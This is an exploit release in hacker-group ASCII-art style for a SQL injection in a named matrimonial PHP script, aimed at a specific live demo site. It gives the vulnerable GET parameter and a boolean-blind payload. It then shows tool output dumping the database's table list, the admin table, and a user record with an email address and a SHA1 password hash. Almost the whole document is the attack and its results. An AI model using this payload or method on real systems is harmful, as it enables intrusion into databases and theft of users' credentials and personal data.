┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Exploits ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr │ │ : │ Website : uisort.com │ │ │ │ Vendor : Uisort Technologies Pvt. Ltd. │ │ │ │ Software : Matrimonial PHP Script v1.0 │ │ Matrimonial Script PHP tailored with │ │ Demo : stage.matrimic.in │ │ advanced features website │ │ Vuln Type: Remote SQL Injection │ │ & mobile apps from matrimic │ │ Method : GET │ │ │ │ Impact : Database Access │ │ │ │ │ │ │ │────────────────────────────────────────────┘ └─────────────────────────────────────────│ │ B4nks-NET irc.b4nks.tk #unix ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ Typically used for remotely exploitable vulnerabilities that can lead to │ │ system compromise. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk loool, DevS, Dark-Gost, Carlos132sp, ProGenius, bomb, fjear, H3LLB0Y CryptoJob (Twitter) twitter.com/CryptozJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2022 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ GET parameter 'Userdetails[ud_gender]' is vulnerable --- Parameter: Userdetails[ud_gender] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Userdetails[ud_gender]=1 AND 2636=2636 --- [+] Starting the Attack [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0.0 [INFO] fetching current database [INFO] retrieved: stage_db_qa [INFO] fetching number of tables for database 'stage_db_qa' Database: stage_db_qa [37 tables] +--------------------+ | YiiCache | | YiiLog | | mc_admin | | mc_blocklist | | mc_caste | | mc_city | | mc_cms | | mc_contact | | mc_contact_history | | mc_country | | mc_currency | | mc_deleteprofile | | mc_education | | mc_feedback | | mc_gallery | | mc_height | | mc_horoscope | | mc_import_jobs | | mc_interest | | mc_language | | mc_message | | mc_occupation | | mc_partner | | mc_plan | | mc_profile_viewed | | mc_religion | | mc_searchlist | | mc_settings | | mc_shortlist | | mc_sms_history | | mc_state | | mc_subcaste | | mc_success_story | | mc_toungue | | mc_transaction | | mc_user | | mc_userdetails | +--------------------+ [INFO] fetching columns for table 'mc_admin' in database 'stage_db_qa' Database: stage_db_qa Table: mc_admin [4 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | admin_email | varchar(32) | | admin_id | int(11) | | admin_name | varchar(32) | | admin_status | int(11) | +--------------+-------------+ [INFO] fetching number of column(s) 'admin_email,admin_id,admin_name,admin_status' entries for table 'mc_admin' in database 'stage_db_qa' Database: stage_db_qa Table: mc_admin [1 entry] +----------+-----------------------+------------+--------------+ | admin_id | admin_email | admin_name | admin_status | +----------+-----------------------+------------+--------------+ | 1 | admin@mat\x81imic.com | Admin | 1 | +----------+-----------------------+------------+--------------+ [INFO] fetching columns for table 'mc_user' in database 'stage_db_qa' Database: stage_db_qa Table: mc_user [20 columns] +------------------------+--------------+ | Column | Type | +------------------------+--------------+ | api_token | varchar(255) | | code | varchar(128) | | device | varchar(32) | | user_activecode | varchar(32) | | user_activedate | datetime | | user_activestatus | int(11) | | user_android_device_id | varchar(255) | | user_email | varchar(32) | | user_id | int(11) | | user_ios_device_id | varchar(255) | | user_ipaddress | varchar(32( | | user_lastlogin | datetime | | user_mobile | bigint(20) | | user_opensource | varchar(32) | | user_password | varchar(255) | | user_salt | varchar(64) | | user_status | int(11) | | user_type | int(11) | | user_userid | int(11) | | user_verified_token | varchar(255) | +------------------------+--------------+ [INFO] fetching number of column(s) 'user_email,user_id,user_password,user_type,user_userid' entries for table 'mc_user' in database 'stage_db_qa' Database: stage_db_qa Table: mc_user [1 entry] +---------+--------------------+------------------------------------------+-----------+-------------+ | user_id | user_email | user_password | user_type | user_userid | +---------+--------------------+------------------------------------------+-----------+-------------+ | 1 | admin@matrimic.com | fa4c71db18591d0323141b39ab337b59b584b3b9 | 1 | 1 | +---------+--------------------+------------------------------------------+-----------+-------------+ Possible Algorithms: SHA1 [-] Done